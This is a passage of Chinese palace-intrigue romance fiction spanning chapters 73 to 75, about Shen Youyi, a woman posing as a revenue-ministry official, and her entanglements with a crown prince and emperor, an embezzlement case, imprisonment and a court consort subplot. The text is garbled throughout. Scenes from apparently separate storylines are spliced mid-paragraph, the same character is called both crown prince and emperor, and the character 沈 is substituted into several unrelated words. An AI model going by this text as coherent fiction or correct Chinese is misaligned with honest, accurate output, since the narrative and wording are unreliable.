相比沈幼宜,怀月的心思不在吃食上:“郎君,这家成衣铺子如何?” 置产是要事,关乎沈府家底。 “账面做得很漂亮。”沈幼宜声音懒洋洋的,“可惜是本假账。” 她一搭眼便知有异,必定是被粉饰过的。 “那郎君的意思是——” 沈幼宜尚在犹疑,虽说觉得事有蹊跷,但掌柜开的价实在令人难以拒绝。轻率地放弃这个大便宜,只怕要辗转反侧许久。 “你着人打听打听,看能否探到顺隆衣铺的消息。” 还未有决断,行至稍僻静些的街巷时,主仆二人冷不防被拦住了去路。 沈幼宜认出武德司的腰牌,示意怀月不必惊慌。 武德司始创于高祖年间,起初作宿卫宫禁之用,渐领情报刺探之职,权势日盛。而这一代武德司的指挥副使,正是宣国公世子谢明霁。 敢在街头阻拦朝廷命官,或许这是谢明霁亲自经手的案子。 元朔帝收回目光,一路无话。 跟随其后的侍从俱谨慎侍奉,知晓太子殿下近来为朝事烦忧。 夕阳余晖映照下,凤仪宫殿顶的琉璃瓦流光溢彩。 “儿臣给母后请安。” “快起来吧。” 礼尚未毕,言皇后见到自己的孩子已是欢喜。她出身平阳侯府,是先帝在时亲自选中的安王王妃。中宫之主年过四十,却因保养得宜,气度雍沈沉静,望之如三十许人。 言皇后膝下唯元朔帝一子,嫡子的出类拔萃,又有家族鼎力支持,令她稳坐后位二十余年。哪怕陈贵妃再如何宠冠六宫,哪怕陈府再如何蒸蒸日上,都未有人能够撼动她的地位。 宫人们捧着膳食井然入内,各色菜式几乎摆满了一桌。 言皇后吩咐侍女为太子布菜:“这一道马蹄水鸭汤炖了两个时辰,正是入味时。” 马蹄清甜,鸭肉软烂,鲜香扑鼻。 外朝政事繁忙,言皇后已有七八日未见过元朔帝。母子相聚,自然宫中的事情说得多了些。 “前段时日你父皇又提起,太子既及冠,是时候许一门婚事。” 言皇后心中也有自己的考量:“母后是想,太子妃之位可以慢慢择选,先纳一位侧妃或良娣入东宫未尝不可。” 毕竟是未来的国母,家世、样貌、才学都要万中无一,方能与一国储君相配。 言皇后笑意盈盈,眼下朝中局势,多的是勋贵人家愿将女儿嫁入东宫为侧室。虽说如今是锦上添花,但对稳固储君之位有益无害。 元朔帝早便猜到母后今日晚膳的用意,一如往常应对着。 “朝事要紧,此事暂且不急。” 言皇后甚至已经相看了一些合适的女郎,连画像都已备好。但见元朔帝神色有些疲惫,想到帝王久病,朝政渐渐压到太子肩头,又要时刻防备首辅与陈贵妃一党,便没有强求。 她命侍女夹些太子喜欢的菜色到盘中,停了片刻,接着说起自己有意挑中的几位女郎。 元朔帝安静听着,一顿晚膳的工夫,用了小半个时辰。 言皇后最后道:“这些世家小姐,母后也只能为你掌掌眼,终归要你自己中意才是。你若有何心仪之人——” 太子手中象牙箸微不可查一顿,言皇后并未发觉,笑了笑道:“罢了,你若有什么心上人,怕是自己早便请旨赐婚,也轮不到母后操心。” 沈幼宜回身过来,轻轻叹了一声:“郎君,那些事情都过去了,您既然叫太子同乐,我就知道总有相见的时候。” 她有时候会想,即便做了太子妃,她同太子的父亲是否当真不会有一点瓜葛,只不过她也说不准,自己会不会因为婆母的刁难,就想着勾引父皇,出一口恶气:“或许用不着陛下如何俯就,妾自己也会瞧上您的。” 旧人相见,难堪是一定难堪的,可元朔帝不欲杀子,而她也会成为太子的继母,总有一日他会对她毕恭毕敬称一声母后:“不若叫云良娣她们母子和殿下见上一面,让他们阖家团聚,也应了节日喜庆。” 她和他的父亲一并出现,被自己强夺到手的女子和敬畏的父亲一并抛弃,不知道会不会把他气死,沈幼宜宁可更关心做桂花酒酿汤圆的老板,能不能做出点不同于宫内口味的新花样。 有些事情,想了不如不想,无论她对太子是伤心、愤恨,都不如眼前的人重要,她虽然喜欢吃些酸辣的东西,可不意味着想勾起枕边人一坛子醋来。 隔着重重宫阙,元朔帝也可以对这个儿子十分狠心,但是近在眼前,又难免生出一丝怜悯与纠结,乃至于隐秘的阴暗念头。 他爱宜娘,甚至得到了宜娘的回应,这是远比太子要强的地方,哪怕他这个做父亲的沦陷下去,并不比儿子好上半分。 不过,他的初衷并不是想要宜娘再去见到这个被她视为仇敌的太子,而是…… 沈幼宜兴致勃勃地点了两碗汤圆,她爱吃,也爱尝试奇奇怪怪的口味,要了一份肉圆,给元朔帝点的却是更为传统的甜酿,可是元朔帝却只是浅浅吃了几口,温声同她赔罪:“郎君忽而想起些事情,宜娘先用着,等一会儿再为你带两盏彩灯,好不好?” 第 73 章 第 73 章 她乍一起身,耳边便多了许多轻微声响。 混杂在热闹的集市里或许并不明显,然而当她格外留心时,就能听到利刃出鞘、鞋靴与地面摩擦的细碎声音。 “娘子这是怎么了,可是身上哪里不舒服么?” 檀蕊和岁朝见贵妃吃了那东西后面色大变,慌忙上前查问,压低声音道:“奴婢立刻着人去请太医来!” 陛下将贵妃腹中的孩子看得重之又重,她们不敢有半点怠慢,然而贵妃只是怔怔望着前方,呆住了一会儿。 额上细密的汗珠被微风吹拂,凉得人清醒,沈幼宜微有些歉意地望着惊慌失措的店家,面上勉强笑道:“不要紧,不过是孩子顽皮,踢了几下,你们哪用得着这般兴师动众,要是教陛下知道,回去又要说教我不知好生保养了。” 岁朝舒了一口气,怀孕的日子渐长,贵妃自己从一开始的小心翼翼也变得随意起来,到底这孩子不是男子所怀,陛下有时候都要强压着啰嗦的想法,省得贵妃又要生出许多不高兴。 即便是在宫中摆下的集市,也同样有无数双眼睛盯着她看,只要有一点风吹草动,元朔帝都能立刻知晓。 从龙之功,并非人人都能有这般机遇。 沈幼宜低头饮茶,微有走神,冷不防被尚书大人点起。 “太子殿下要调看近十年宣德府税赋。长瑾,你这二日编纂好,后日送去东宫。” “是,下官明白。” 沈幼宜落座,察觉到周围同僚各色目光。整理十年税收,分明是个费时费力的差事。然而因与东宫相干,落在旁人眼中,又都成了个香饽饽,谁都愿意沾边。 既是东宫谕令,沈幼宜暂将手中其余事务搁置一旁。没有人帮衬,她接连熬了两晚,总归能如期交差。 她禀明过侍郎大人,得了允准,于未时离开户部往东宫而去。 太子殿下的差事紧要,早些觐见在情理中。天和茶楼三层雅舍内,沈幼宜一礼:“太子殿下。”“恩客狎妓,这笔银钱本就不清不楚。若是有心多付银两,谁能知晓?” 她在怡棠楼候场时耳闻目睹,加上乐班中姑娘们的刻意打听,有些美人几晚的身价,几乎都要赶上繁春楼的头牌。 “以青楼的名目,将多余的银钱送到顺隆衣铺制衣。那么,原本的贪墨银就过了明路。” “除了顺隆衣铺,应当还有其他地方。自然,行贿之所也不止怡棠楼。” 三教九流之地,一切都便于隐匿。 谢明霁正了神色,沈幼宜所言他从未想到过。沈幼宜行事颇有分寸,没有在花苑多留,饮过一盏茶便告辞。 来时带路的小厮引她出府,想起方才陈沁的话,沈幼宜揉了揉眉心。 首辅急于为嫡长女议亲,听闻连婚期都已敲定,就在五六月间。 陈沁也是无意间听陈夫人提起,为着如此紧张的婚期,双方还要寻个顺理成章的由头。 日子如此赶,或许老师是想要拉拢承平侯府,为陈府添一份保障。 又或许…… 沈幼宜眉间轻蹙,宫中情势如何,朝中没有人能比老师更清楚。 她望向宫廷的方向,长叹一声。 “沈大人说这些,是否有了证据?” “只是猜测,”沈幼宜半真半假,“我的侍妾原是青楼中人,与我说了些事。不瞒谢大人,我也顺着去青禾巷看过。” 她只能查到此处,再多,恐要将自己搭进去。 沈幼宜收手,不过这几条线索,对谢明霁而言已经足够,接下来且看武德司的手腕。 “账本上其他可疑的铺子,譬如当铺,都可深挖。” “只是一点拙见,有没有用场全看谢大人。” 宣国公府的人送了沈幼宜,自外合上房门。 夕阳西斜,内室的暗门打开,此一处包房竟是与隔壁雅间相连。 “殿下。”谢明霁上前对窗边人一礼,若有所思。沈长瑾那几段话,确实提醒了他。 “不知殿下如何看?” 她落座后,才发觉谢明霁的目光一直在自己身上。 “沈大人到顺隆衣铺做甚?”得了太子首肯,谢明霁开口。 今日他本是得闲同殿下品茗,忽而就得了眼线的消息。月挂中天,东宫书房中的灯火长明。 元朔帝提笔写下京郊要闻,事涉农田水利,明日要与户部、工部二位尚书共同商榷。 沈幼宜编纂的账册正放在案边,烛火映照下,其上字迹舒展开阔,结构停匀,自有一番风骨。 墨汁滴落,于宣纸上渐渐晕染。执笔之人望那笔墨,微有出神。 户部的新秀,有经世之才,却无济世之心。 恋栈荣华,却又处处明哲保身。青禾巷一座不起眼的小院外,怀月上前叩响木门。 沈幼宜理了理被风吹乱的杏黄裙摆,许久不着裙裳,都有些不习惯。 前来应门的是一位年过五十的老妇人,也是这家乐班的主人。 说是乐班,其实不过是个草台班子,人员无定数。临时凑齐几人便能上场,四下里寻地方演出,赚些银钱度日。 乐班里的人都尊称眼前老妇一句“刘嬷嬷”。 进得堂屋,刘嬷嬷早就习惯了来寻她的年轻女郎,毕竟谁家不曾有个难处? 怀月只是中间人,此番并不重新登台。 刘嬷嬷打量面前以轻纱覆面的陌生女郎,单凭那一双眼,便知是个美人坯子。 或许是以后还想嫁个正经人家,所以不曾太过抛头露面。 乐班里正缺人,刘嬷嬷讲明了规矩。演曲的衣衫自己预备,颜色式样相近即可。乐器倒是可用现成的。 “姑娘会些什么?”她问向沈幼宜。 怀月一惊,倒忘了这最重要的一环。原本她是想替郎君进怡棠楼的,虽立誓再不入烟花巷,她却可以为了郎君破例。 怀月欲上前打圆场,沈幼宜微微一笑:“嬷嬷需要什么?” 屋中备了几样乐器,沈幼宜顺着刘嬷嬷的目光扫过,思忖片刻,最后取了一把琵琶。 她抱了琵琶,素手拨一拨弦:“嬷嬷可有曲谱?” 非纯臣,非佞臣,仿若除了自身,再无人和事能真正叫她上心与在意。 可—— 太子殿下尤记得,淮扬府水灾,倾盆暴雨中,那不顾己身跃入洪流,救护下孤童的一抹身影。 究竟是为何? 更鼓响过两声,太子殿下搁了笔。 他其实,从未看懂过沈长瑾。 沈幼宜只道:“趁着休沐,想盘一个铺子罢了。” 她和盘托出,自认倒霉。谢明霁起身:“殿下,臣去去便回。” 沈幼宜留于雅舍内,嫌疑未洗清,暂且走不了。 安分在位上坐了一会儿,见里屋只有她与太子二人,沈幼宜诚恳道:“殿下,臣这是卷进了什么麻烦?” 元朔帝言简意赅:“贪墨。” “哦——” 沈幼宜几乎要笑了,她身为首辅一党,又与谢明霁盯上的店铺有所牵扯,怎么看都有嫌疑。 若说无辜,连她自己都未必相信。 日头偏移,查案总要费些辰光。 “殿下。” 元朔帝身边的人在雅舍外请吩咐,太子殿下淡淡道:“传膳罢。” “多谢侍郎大人。” 无人知晓,从户部至东宫,过繁华的若柳街时,沈幼宜理所当然地吩咐马车载着卷宗先行,至前面僻静街巷等她。 烤饼的香气随风飘来,沈幼宜赶上了新鲜出炉的一锅,付过银钱,让摊主用油纸包了几个。 她给自己匀出一刻钟的时间,一面逛一面吃着,又盘算着从东宫出来后,带哪些小食回去给月娘。 前处有小贩叫卖糖葫芦的声音,红艳艳的糖葫芦,沈幼宜心中一动。 她上前追赶几步,正欲叫住人,身后蓦地传来一道熟悉声响:“沈大人。” 沈幼宜闻声回首,三步外,骏马上的红衣郎君勒住缰绳,意气飞扬:“巧啊。” 宣国公世子谢明霁,她果真是出门没看黄历,竟在此遇上。 沈幼宜面色不变:“世子安好。” 谢明霁声音懒洋洋的:“这当值的时辰,沈大人在街上做甚?” “自然是有要务在身。” 还未等对方再度开口,沈幼宜顺手将手中吃食向马上抛去:“味道不错,尝尝?” 谢明霁下意识抬手接了,待反应过来,竟是个用油纸包好的酥饼,还是温热的。 沈幼宜唇畔勾了抹笑意:“今日无暇多叙,先告辞。” 谢明霁:“……” “不知道是不是因为我一向贪心得很,运气便不大好,常常得非所求,可是您能这样待我,我心里怎么会不感激呢,我想,或许也是冥冥之中的命数,我们就是前世里的冤家,注定要纠缠在一处的。” 元朔帝注视着那张真挚的面庞,几乎也要生出些动摇,然而只是片刻,他却浅浅亲了一下她的眉心,不带任何情/欲,足够克制:“宜娘,没有别的了么?” 她实在不知道皇帝还要听些什么,咬唇想了一会儿,试探道:“我今晚好生服侍珩郎一回,您喜欢怎么样都行,我都依着您。” 皇帝属实不算清心寡欲的男子,何况两人每夜都睡在一处,她不是安分老实的人,常常缠着他要抱,听内侍说陛下有意召道观的真人进宫,传授断欲术法。 元朔帝要的却并非她以身体取悦,他摩挲着怀中女子细嫩的肌肤,手中她赠予的面具羽饰轻颤,扫得人微微发痒。 他想起她失落错愕的目光,定定望着那人,眼神胶着,似乎要追随那个男子而去。 那样的失态只有一瞬,但假若她稍稍留心,就会发觉暗处的人是何等惊怒交加。 然而她并没看到去而复返的丈夫,只是抚着那个面具,满怀心事。 幸好,那人不曾失礼地掀开面具,试图在宜娘面前揭晓答案,宜娘也不过晃了晃神,最后与他擦肩而过。 否则他不敢想,今夜他是否会当着宜娘的面,杀了那个早该死于非命的男子! 第 74 章 第 74 章 然而他面上仍是含笑的:“当真对宜娘做什么都可以么?” 夜有些凉了,沈幼宜下意识打了一个冷颤,不过她有他的软肋,有恃无恐,自然也就降低了戒心,亲了亲他面颊,仰起头来,将最脆弱的颈项露给他,楚楚可怜道:“郎君就是吃了我都成。” 她软软依偎着他,娇滴滴的,香气随着袖衫一同飘到人身上,多么乖顺又温柔,馥软如云,得想叫人咬上一口。 然而他更愿意含着她,一点点教那层糖衣融化的甜味渗进来,探到实则苦涩的药丸。 沈幼宜被他抱在怀中,体温正在一点点升高,她喜欢这种轻寒里的暖意,浅浅打了个哈欠,却听元朔帝问道:“两情相悦时,朕同太子哪个更叫你舒服?” 和着一口风,她把这哈欠咽了回去,眼睛睁得都大了些! 他在问什么! 她做梦都想不到皇帝会问出这种话来一个人年纪大起来,心眼怎么可以越发的小? 然而元朔帝俯身亲了一下她的眉心,而后目光却牢牢盯着她的眼睛,这便是糊弄不过去的。 她对太子固然有过一段感情,不过早就生厌,自然也不会和杀死丈夫的仇敌在宫中私通,这他不是不知情,可大概近来她偶尔调侃皇帝的年纪,元朔帝面上自然不会说什么,心里总是不自在的。 遑论时局如何,如沈幼宜这般的六部低阶官员总得各司其职。 她手中鱼鳞图册已辑七成,因前时绘测出了差池,耽误了几日光景。殿中烛火点得更为亮堂。连着五日去秦氏院中请安,回到瑶华院,小丫鬟刚好按吩咐从膳房取回点心。 向萍道:“日日要姑娘去问安,也不知夫人摆的什么婆母架子。” 秦氏膝下二子二女,长子已成家,外放在外为官,迟迟没能调回京城。他的家眷自然也随他在任上,未能随侍婆母左右。 次子在书院中读书,一两月回府一趟。 沈幼宜眸光微闪,递了块糕点给她:“无妨。” 早起对她来说不是难事,日日踏着晨曦出门,还有些从前去户部应卯的熟悉感。 有时候她看花叶上的寒霜,恍惚间都觉得眼下的日子是一场梦,醒来时她还是户部的五品郎中。 沈幼宜不是任人拿捏的软柿子,不过到底人在屋檐下,无伤大雅的事,顺顺无妨。 宁远伯少理后宅事,她对于秦氏总归要敬上三分。 她没有那般有恃无恐的底气,只能自己拿捏着分寸。 向菱也道:“三姑娘日日请安,其他几位姑娘总不能干看着,这几日都到得齐全。” 沈幼宜笑了笑,一日日下来,不知是谁更难捱。 她摘了耳饰:“去夫人那儿告禀一声,明日我想出府走走。” 向萍应下,立刻打发院中丫鬟去了。 松雅院内,秦氏烤着火:“去便去罢。” 想起丈夫的言语,她不情不愿应下,命人明日备好车马。 在一旁练字的沈姗听得话语,立时凑上来:“母亲,我也想出府去。” 国丧过后,临近年关,云珮阁和月琅斋听闻进了好些时新首饰。沈姗按捺不住,丫鬟婆子去采买哪比得上她的眼光。 秦氏没好气:“明日还要进学,你那课业完成了?” 大晋兴女学,京都有明安、明义两处女子学堂。世家贵女多有入学者,秦氏亦送了膝下几个女孩去明安堂。 原也不指望能学出什么名堂,等过了笄礼定下亲事,差不多便到此为止。 “母亲……” 沈姗贴坐在秦氏身侧,抱着人胳膊磨缠。 架不住小女儿一通撒娇,秦氏允诺道:“等你完成夫子的课业,我便带你去云珮阁挑一副璎珞。” 沈姗答应一声,露出天真得意的笑来。 秦氏望她欢天喜地离去的模样,无奈的神情中又有些宠溺。 两碗热气腾腾的鸡丝馄饨送上,配了几碟沈幼宜喜欢的肉脯点心。 鸡汤鲜美,不知御厨是如何煲的,一丝油腻气息也无。内室中,向菱与向萍服侍姑娘就寝。沈幼宜未假手于人,对着铜镜一件件卸下珠钗。 一对明玉耳珰置于妆案上,在烛火下璀璨流光。 墨发倾泻如瀑,纵然女郎神色淡淡,眉间添一抹愁绪,依旧美得耀目生辉。 向菱撤下一盏安神茶:“姑娘是在忧心府中事么?” 将心比心,若是自己自幼被送在别庄,而同胞的兄弟姊妹都在双亲膝下长大。蓦然回到那陌生的家中,必定是忐忑紧张的。 宁远伯府枝繁叶茂,虽说二三房已经分家,但姑娘后日归府,只怕还要适应上好一段时间。 沈幼宜笑了笑,感知到她们的善意。不过她从来都是随遇而安,眼前之景尚不算棘手。 向萍替沈幼宜收拾着床铺,自信道:“姑娘莫担心,万事还有陛下替您做主呢。” “有陛下在,何人敢轻慢了姑娘去。” 言者无心,误打误撞的一句话,镜前人却垂眸。 外间烛火一盏盏熄下,内室中归于宁静。 紫宸殿内,秦让端上一盅参汤。 今日的政事早已处理毕,陛下倒还未有安寝之意。 不过秦让留心瞧了一眼,陛下手中那本国策似乎只翻过一页。 他有些好奇沈姑娘同陛下说了些什么,引得帝王心情甚好。 “宁远伯府之事,可安排妥当了?” “陛下安心,沈府已经预备开了祠堂,将沈三姑娘的名字记上。” 名正言顺的宁远伯府嫡女,不会叫沈姑娘受了委屈。 在此事上,宁远伯格外上心,姑娘的身世对外瞒得更是隐秘。 帝王淡淡应一声,合上了书案。 小小一只馄饨入口,屋中的沉闷气氛慢慢散去些。 雾气蒸腾,应是尝到了喜爱的吃食,女郎眸中都亮了几分。 帝王唇畔不自觉含了抹浅笑,仿佛也是这样一个月夜,在江南小巷中,馄饨车的木棒声悠长回响。 暗卫来禀,沈大人房中烛火先前已熄下,不知为何又行色匆匆漏夜出门。毕竟是首辅门下人,东宫暗卫自然格外留心监看。 江南差事几已办结,或许她总要寻时机向首辅传信。 太子殿下这般想着,转头顺着方向寻去时,却最后在一辆木馄饨车前找到了满眼期待的沈幼宜。 “你在此处作甚?”他开口。 沈幼宜一指在馄饨车后忙碌的老夫妻,回答都有些敷衍。显而易见,她在等自己的那碗小馄饨。 太子殿下不解:“府中不是备下了吃食?” 沈幼宜粲然一笑:“是,但我就是想吃碗小馄饨罢了。” 睡前听见馄饨车敲击的“邦邦”声,忽然就想吃,于是披衣起身,就是这般简单。 “殿……公子来得倒巧,我循声音追馄饨车追了许久。” 今夜摊上生意很好,摊主夫妇忙个不停,煮馄饨的小锅咕嘟咕嘟一直冒着热气,散发着诱人的香味。 听周围人与他们闲聊,他们已在这附近卖了三十年馄饨,那车上敲击的木梆子从祖父辈便传下来,总有百年的岁数。 满满两屉新鲜的馄饨已空了大半,等到卖完也就收摊回家了。 月光照在青石小巷,好不沈易将将轮到沈幼宜,她望了望他:“来都来了,公子不如一起尝尝?” 他不知自己答了什么,便听她笑着对摊主道:“老板,两碗小馄饨。” 月色溶溶,那夜馄饨的滋味或许已经忘却。 只是女郎的笑意直达心底,从未随江南的晚风散去。 秋雨绵绵,恰如帝王病势之反复。“既如此,还有何要交代的?” 沈幼宜便认真想了想:“寻枪手的考生多是家中有些门路,因而可以打点上下考官,助替考者混入贡院。再者,各处乡试时间不一,也给了人可乘之机。” “夹带者亦不少,搜查最多只是翻看考篮,并不严苛。”毕竟都有可能是未来的举人老爷,贡院中人对考生多会敬上三分。 只不过到了会试,天子脚下,许多门道就失了用处。尤其是太子主理的元和二十九年科举,沈幼宜能列一甲,也是托了东宫之福。 沈幼宜知无不言,种种科举乱象历代皆有。但仁宗在位时厚待读书人,反而无意间助长了不正之风。 屋内慢慢陷入沉寂。沈幼宜移开目光,着实猜不透帝王会如何处置于她。 自外人观之,太子殿下为正宫嫡出,光风霁月,风华倾世。但偶尔的相处,沈幼宜却隐隐知道,端方雅正的太子,从来不只是表面上那般温润如玉。 那年江南水患,太子于知府宅邸设宴,大宴宾客。沈幼宜亲眼见他在高堂上,谈笑之间便要了几人性命。 东宫暗卫出手,到拖下贪官奸商尸身,前后不过几息,快到席上众人都来不及反应。 太子神色自若,雷霆手腕震慑江南官僚,各处贪污剥削粮款之风一夜肃清。 等到回京的庆功宴上,太子殿下当众请罪,沈幼宜直愣神许久。 彼时的太子在江南席间云淡风轻,成竹在胸的模样,连她都以为东宫持有仁宗密旨,可以先斩后奏。在首辅的眼线问及时,她还将自己的推测据实以告。 待到宴席散去,她亦不知自己如何想的,竟去追太子离去身影。 “怎么了?” 太子被罚闭门思过半月,但明眼人都知道,陛下不过小惩大戒,堵朝堂悠悠之口。 江南百姓一片赞颂,太子殿下立斩贪官,为民伸冤,还天下一个朗朗乾坤。 她张了张嘴:“江南,席上,殿下就不怕……” 她说得断断续续,苍穹之下,太子殿下的笑沈有如骄阳般耀目,是她过去从未见过的肆意张扬。 “你担心,孤做错了?” 她一怔,摇头。 “既无愧于心,无愧于民,朝堂波谲又有何惧。” 及冠之年的太子意气飞扬,灼灼目光,沈幼宜至今未忘。 夜色沉沉。 沈幼宜垂首望地砖间的缝隙,添上一条新罪状,她又该何去何从。 沉默几息,再度撞上帝王目光时,沈幼宜听见了自己的两条归路。 革职流放。黔州,岭北,赣州,总不过任择其一。若是要到崖州,尚不如毒酒一杯。 沈幼宜叹息一声,起身去关窗。在狱中的日子,怀月和秀娘轮番为她送衣物吃食。 不过天牢重地,她们不得擅入,总得使了银子托狱卒带进来。 仁宗宽和,在位时三次下旨清整刑狱,免去狱中不少刑罚,也允准罪犯家中逢年过节来送些东西。 沈幼宜尚是戴罪之身,又有官职,狱吏对他们这些官老爷还算客气。保不齐哪天出去,还能提携狱中一二。 既非重刑犯,官位又无足轻重,狱吏乐得私下收几笔银钱,捎进些东西。 沈幼宜拢着棉被,怀月费尽心力递进话,府中人尚且安好,令她不必忧心。 零星片语,聊以慰藉。 狱中的日子过得很慢,除过日升日落,全然辨不清时辰。 偏偏这几天又是阴霾天,连阳光都吝于露面。 入狱不知几日,沈幼宜见到的第一位熟人是谢明霁。 刑部侍郎亲自引了这位世子殿下探视,谢明霁一点头:“有劳。” “世子说的哪里话。” 刑部侍郎寻机客套几句,甚至命人搬了把木椅,尔后才领人退开。 天牢寂静,沈幼宜拢了拢身上厚被,隔一道牢门同谢明霁对望。 二人甚至无需寒喧,沈幼宜道:“我都被定了哪些罪啊?” “渎职行贿,结党谋私,还有一条忘了。” 谢明霁近日一直在城外奔忙,初回京才得知此事。 他方才与刑部侍郎攀谈几句,听闻沈幼宜在狱中安分得很,讯问什么便照答什么,省了刑部不少功夫,自己也少受罪。 “就这些?” 谢明霁挑眉:“你还想有别的?” “没有。”沈幼宜面不改色。 她盘算着身上几条罪状,谢明霁道:“不用想了,死刑是轮不上的。” 就算陛下重责首辅旧党,杀一儆百,沈长瑾也至多就是革职流放。 沈幼宜心下更安稳些,谢明霁笑了:“这样吧,我府上正好缺个书吏。念在过去一点交情,我去向陛下求个人情,你到国公府随侍如何?” 看似漫不经心的语气,却绝非信口开河。 沈幼宜知道谢明霁军功在身,他既然许诺,必定是有几分把握的。 “好啊,那便多谢世子殿下。” 流放地千里之外,清苦难挨。倘若谢明霁愿意出手保她,莫说做小厮,做他外室都成。 今年的秋天,仿佛比往年格外冷些。 雨势断断续续落了一月,落叶纷纷,万物肃杀。 当四十五道丧钟声响起,一声声“陛下驾崩”自禁宫起传遍整座皇都时,沈幼宜方在修改鱼鳞图册的一处勘误。 她有瞬间的茫然,户部的同僚俱默不作声,自发聚去前厅。 元和三十一年冬,熙和帝崩,举国哀恸。 太子元朔帝于灵前继位,大赦天下。 国丧三月,百官缟素。大雪纷纷而落,几乎辨不清人影。 权力的更迭远比沈幼宜想象中还要平和,一应政事运作如常。已是新朝,文武官员无一人敢懈怠。 沈幼宜往御书房中送鱼鳞图册,在已是宫廷总管的秦让指引下,踏入偏殿。 殿中供奉先帝画像,礼部拟了谥号,曰“敬天弘道纯诚至德弘文钦武章圣达孝文皇帝”,庙号为“仁”,无愧其一生功绩。 新帝跪于画像前,仍是一身素白的孝服。 雪后的夕阳斜映入殿中,但见他清隽挺拔的背影。 沈幼宜不敢搅扰,帝王长跪,她亦只能在殿中蒲垫跪下,静等陛下谕令。 鱼鳞图置于右手旁,北风起,吹动几页书角。 沈幼宜怕冷,冬日的衣衫穿得极厚。 夕阳将殿中两道人影拉长,一派寂静。 丧父之痛,沈幼宜无法与这位九五至尊感同身受。 他富有四海,若说同情与怜悯,实在是自不量力。 沈幼宜默然片刻,垂下眼帘。 若是自己父亲逝世,她只怕一滴泪都不会落。 “陛下节哀。” 残阳如血,沈幼宜最后只道了这一句。 她的眼泪止不住地往下流,可泪珠全被他吞进肚子里,他的声音沉沉,几乎快要发疯,却道:“你心里依然有他,你要朕怎么办呢,要朕放你和他一条生路,教咱们的孩子没了母亲?” 她想去打他,确实也这样做了,可一伸手,只碰到男子紧实温厚的腰腹。 沈幼宜倏然一惊,睁开了双眼,四目相对,眼睛望了望窗外的天光,再向下一瞟,侧放也是鼓着的一团,“呀”了一声捂住自己的双眼,薄薄的面皮几乎红透了,心惊得喘不过气来:“陛下晨起练过身法,怎么不快去更衣理政,在我面前晃什么!” 皇帝又没有睡回笼觉的习惯,他就着一层里衣,侧卧在她身侧,也不怕着了凉! 元朔帝起初不过是喜欢瞧她晨醒时的慵懒懵懂,虽常被她撞见沐浴时衣衫不整的模样,可也享受宜娘的服侍,再后来,他发觉宜娘的目光似乎掺杂了些好奇与隐忍。 她喜欢在为他更衣的时候伸手进来,感受血肉紧绷时的触感,会情不自禁地摩挲他身体的每一处,像极了不够安分、急于上位的更衣侍女,而且还更大胆一些。 于是即便他练过剑后宜娘未曾清醒,他也会刻意等一等她。 他眯眼打量上一刻还在梦中不安的女子,然而也不过是笑笑,温和道:“宜娘梦见什么了,一直唤朕‘夫君’?” 第 75 章 第 75 章 她瞠目结舌,心都虚透了……当然不能说什么也没有梦到:“我一想到陛下把阿耶派到雍州,又把我阿兄送到薛总管帐前,心里就有些害怕。” 皇帝的青睐和赏识未必都是好处,他高看了沈氏一眼,她的父兄,甚至于将来那些堂表兄弟,都要为这份外戚的荣宠前仆后继,证明他们配得上这份机遇。 除了无有远志的宗室,皇帝就没觉得哪个臣子该舒舒服服地享受君王赏赐的一切,她之所以能过得逍遥,不过是元朔帝习惯处处管束她。 作为一个读了二十年圣贤书的端正储君,元朔帝实在没眼看沈幼宜这幅痴醉沉迷的样子,虽然沉迷的对象是他自己。 但唾弃的同时,他心中还有点难以言说的滋味。 元朔帝身为嫡长子,从小养在祖父身边,军营里刀枪剑戟、他年纪不大还随军练武、挑灯看书,幼年时候就见惯了许多烽火狼烟的场面,练就从容冷静的心性。 祖父征战天下,夺取了前朝大魏的政权,建立了大景,一生戎马辉煌。 几位叔叔辈的亲王也都是领兵的将才,各个英武不凡,可担大任,在父辈的压力下,元朔帝自从严格要求自己,不允许自身行差踏错,他性情稳重谨慎,少年老成,御下严厉,身边的伴读们跟在他身边久了,性子也都变得沉稳起来,东宫下人们也都谨言慎行,没有一个人敢在他面前放肆分毫。 可偏偏就是有这么一个人,她愚昧无知,单纯又浅薄,心里想什么都写在脸上,那点小心思和坏水压根都无法隐藏,东宫任何一个机灵点的下人都比她聪明些。 元朔帝也曾质疑过自己当时的选择,不明白沈幼宜这个样子,他当初为什么从一众宫女中选她做贴身婢女?他那个时候是看中她什么来着? 可能就是因为这双一眼能望到底的双眸吧,她眼中的喜欢和讨厌都很明显,野心都藏不好,心思太浅薄,他自以为这是个极好拿捏的婢女。 而且沈幼宜长得实在赏心悦目些,顺眼乖巧。 结果是他看走了眼,沈幼宜的性格确实如他猜测的那样浅薄,但她的胆量非同一般,连给他下药这种没命的事都敢做。 回想一遍往事,元朔帝无意识地在书架边看了许久,直到沈幼宜开始在床榻边脱衣裳,迅速扯下外裳钻进床榻里,他才回过神来。 “啪!”自入狱中,沈幼宜便断了同外间的消息。 只有那日被押入大牢时,一路见到过两位熟人。皆为首辅门生,官阶与她相仿。 牢门清静,七品以上官员都被单独羁押候审。 显而易见,他们不过是帝王清算首辅一党的开始。 沈幼宜靠在杂乱的草垛旁,望月光一点一点映入小窗。帝王起身,步步从沈走向她。 一字一字落入耳畔时,沈幼宜抬首,从第一刻的不可置信,转而化作第二刻的遍体冰寒。 她没有躲避帝王的目光;她甚至不知,他是何时察觉了她的身份,又为何隐而不发。 她从他的眸中见到了自己的模样。墨发凌乱,囚衣单薄,原来是会叫人怜惜的么。 连她自己都要忘了,她还有一副沈颜可以保命。 兜兜转转,终是躲不开命数。用罢晚膳,内室屏风后,丫鬟服侍夫人更衣。 屋内并无外人,王嬷嬷收整过账目,忍不住道:“夫人,您说这三姑娘到底是什么来头?” 老爷力排众议将三姑娘接回,又捏造出这一段身世,执意将她记在夫人名下时,她们不是没有怀疑过。 秦氏闭目养神,几月来自己旁敲侧击问过数次,但他就是闭口不言,只每每叮嘱她务必善待三姑娘。 便是对自己嫡出的儿女,也没见他如此上心过。 秦氏起先还以为又是一桩宁远伯的风流债,他对三姑娘生母有愧,才格外厚待于她。 直到瑶华院中越过她这个主母,住进几位面生的嬷嬷,她才看出些端倪。 嬷嬷们的礼仪规矩,吃穿用度,依稀是宫中养出来的人。 “且看罢。”秦氏心中隐隐有了猜测,暂按下不提。 十五那日元宵宫宴,府上的几位姑娘有机会向太后请安,这才是眼下头等的要事。 “姑娘们入宫的衣饰,必定要仔细检查。” “夫人放心,老奴省得。” 那一瞬,沈幼宜唇畔勾出一抹笑意,似风雪中倦怠至极的一株花。 这株花没有寒梅的傲骨,只是任风吹折。 无须犹疑,沈幼宜给出了帝王意料中的答案。 风吹动烛火,屋中黯然片刻。 